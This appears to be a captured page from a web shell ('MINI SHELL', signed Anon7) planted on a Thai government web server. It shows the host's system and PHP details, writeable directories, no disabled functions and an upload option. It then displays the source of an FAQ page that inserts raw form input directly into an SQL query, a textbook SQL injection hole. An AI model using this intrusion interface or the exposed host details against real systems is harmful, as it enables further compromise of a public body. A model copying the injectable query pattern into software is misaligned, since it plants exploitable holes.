MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /var/www/html/pathumthani_vc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/pathumthani_vc/faq.php
<?
include("application/inc/conndb.inc.php");
//print_r($_POST);
//Array ( [textquest] => [textanswer] => [Submit] => ตกลง ) 
if($_POST[Submit] and $_POST[textquest] and $_POST[textanswer]){
$sql = "insert into faq(question,answer) values('$_POST[textquest]','$_POST[textanswer]')";
//echo "$sql";
$result = mysql_query($sql);
}

?>
<html>
<head>
<title>:::::: กลุ่มงานพัฒนาระบบราชการ :::::</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">
<link href="style.css" rel="stylesheet" type="text/css">
<style type="text/css">
<!--
body {
	margin-left: 0px;
	margin-top: 0px;
	margin-right: 0px;
	margin-bottom: 0px;
	background-color: #CCCCCC;
}

-->
</style>

<link href="style.css" rel="stylesheet" type="text/css">
<style type="text/css">
<!--
.style24 {
	color: #FFCC00;
	font-weight: bold;
}
.style25 {
	color: #FF6600;
	font-weight: bold;
}
-->
</style>
</head>

<body onLoad="getTime()">
<div align="center">
  <table width="640" border="0" cellspacing="0" cellpadding="0">
    <tr>
      <td><table width="100%"  border="0" cellspacing="0" cellpadding="0">
        <tr>
          <td width="6%"><img src="images/vc_01.gif" width="131" height="40"></td>
          <td width="94%" bgcolor="#4752A3"><div align="right" class="style25">Administrator</div></td>
        </tr>
      </table></td>
    </tr>
    <tr>
      <td><img src="images/vc_03.gif" width="131" height="118"><img src="images/vc_04.gif" width="131" height="118"><img src="images/vc_05.gif" width="131" height="118"><img src="images/vc_06.gif" width="131" height="118"><img src="images/vc_07.gif" width="116" height="118"></td>
    </tr>
  </table>
  <table width="640"  border="0" cellpadding="3" cellspacing="1" bgcolor="#FFFFFF">
    <tr bgcolor="#000033">
      <td width="1001" height="20" bgcolor="#000033">      <div align="center" class=" style24">ถาม/ตอบ<br>
        แนวทางการดำเนินการ คำรับรองปฏิบัติราชการปี 2549<br>
      กพร .สพฐ.</div></td>
    </tr>
  </table>  
  <br>
  <form name="faq" action="" method="post">
  <table width="640" border="0" cellpadding="1" cellspacing="1" bgcolor="#FFFFFF">
    <tr>
      <td align="left" bgcolor="#AABBCC"><strong>คำถาม  :</strong></td>
      <td align="left" bgcolor="#AABBCC"><strong>
        <textarea name="textquest" style="width:590px; height:200px"></textarea>
          <label></label>
      </strong></td>
    </tr>
    <tr>
      <td bgcolor="#EFEFEF"><strong>คำตอบ</strong></td>
      <td bgcolor="#EFEFEF"><strong>
        <textarea name="textanswer" style="width:590px; height:200px"></textarea>
      </strong></td>
    </tr>
    <tr>
      <td bgcolor="#EFEFEF">&nbsp;</td>
      <td bgcolor="#EFEFEF"><label>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
        <input type="submit" name="Submit" value="ตกลง"  style="width:80px">
      </label>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
	  <input type="reset" name="Reset" value="ยกเลิก"  style="width:80px">
	  </td>
    </tr>
  </table>
  </form>
  <table width="640" border="0" cellpadding="1" cellspacing="1" bgcolor="#FFFFFF">
    <tr>
      <td bgcolor="#EFEFEF"><table width="100%" border="0" cellspacing="0" cellpadding="0">
          <tr>
            <td width="71%">&nbsp;</td>
            <td width="29%" align="center">&nbsp;</td>
          </tr>
      </table></td>
    </tr>
  </table>
  <br>
</div>
</body>
</html>

Anon7 - 2021